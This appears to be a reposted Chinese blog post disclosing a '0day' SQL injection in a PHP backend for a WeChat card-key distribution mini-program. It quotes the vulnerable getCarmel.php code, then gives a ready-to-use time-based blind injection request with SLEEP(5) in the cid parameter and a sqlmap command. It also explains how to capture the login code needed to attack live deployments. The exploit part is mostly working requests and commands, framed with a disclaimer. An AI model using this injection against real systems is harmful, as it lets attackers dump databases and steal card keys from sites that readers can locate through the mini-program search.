0x00 前言
2024新版二开微信发卡小程序源码卡密系统支持流量主。裂变扩展多种领取模式二次开发的发卡小程序源码,其后台采用PHP编写,支持用户通过付费购卡或者观看视频广告领取卡密,该小程序还支持流量主,因为功能需要.
小程序搜索:发卡
像这种界面的 一般都是有漏洞的.
0x01 漏洞分析
位于 /Api/getCarmel.php 中存在$_GET传入变量后直接被拼接到SELECT语句中,导致SQL注入漏洞产生,但是由于回显被写死,所以这里是个盲注
<?php
error_reporting(0);
include __DIR__ . '/../includes/common.php';
require __DIR__ . '/../includes/wxLogin.php';
$code = isset($_GET['code']) && !empty($_GET['code']) ? $_GET['code'] : exit(json_encode(array('code' => -1, 'msg' => '缺失code参数值')));
$cid = isset($_GET['cid']) && !empty($_GET['cid']) ? $_GET['cid'] : exit(json_encode(array('code' => -1, 'msg' => '缺失cid参数值')));
$trade_no = isset($_GET['trade_no']) && !empty($_GET['trade_no']) ? $_GET['trade_no'] : NULL;
//微信小程序校验
$wxLogin = wxLogin::wx_login($code);
$wxLogin = json_decode($wxLogin, true);
if ($wxLogin['code'] != 200) {
exit('{"code":-1,"msg":"' . $wxLogin['msg'] . '!"}');
}
$openid = $wxLogin['openid'];
$classCid = $DB->get_row("select * from kami_class where active=1 and cid={$cid}");
if (!$classCid) {
exit(json_encode(array('code' => -1, 'msg' => '当前领取的卡密类型不存在')));
}
$cidCarmel = $DB->get_row("select * from kami_faka where cid={$cid} and usetime is null");
if (!$cidCarmel) {
exit(json_encode(array('code' => -1, 'msg' => '此类型卡密已经被领完了,请联系管理员加卡密。')));
}
0x02 漏洞复现
所以 这里还需要一个code值 就是小程序通过wx.login()所获取的登录值,这里我们用Proxifier抓包,然后点击小程序即可用Burp拿到code.
GET /Api/getCarmel.php?code=0e1dOtll2rN8Sd4q4iol236skm4dOtlp&cid=(SELECT%203720%20FROM%20(SELECT(SLEEP(5)))IPDC) HTTP/2
Host: 127.0.0.1
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
使用Sqlmap注入的话需要设代理抓包burp,然后点小程序进入,就能获取code,替换到burp中的code里继续注入就行(需要替换挺多的)
python sqlmap.py -u "http://127.0.0.1/api/getCarmel.php?code=1234&cid=*" --level=3 --dbms=mysql --proxy "http://127.0.0.1:8080"
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
发卡小程序源码关注公众号发送 fc 获取
原文始发于微信公众号(星悦安全):某新版微信发卡小程序存在SQL注入漏洞(0day)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论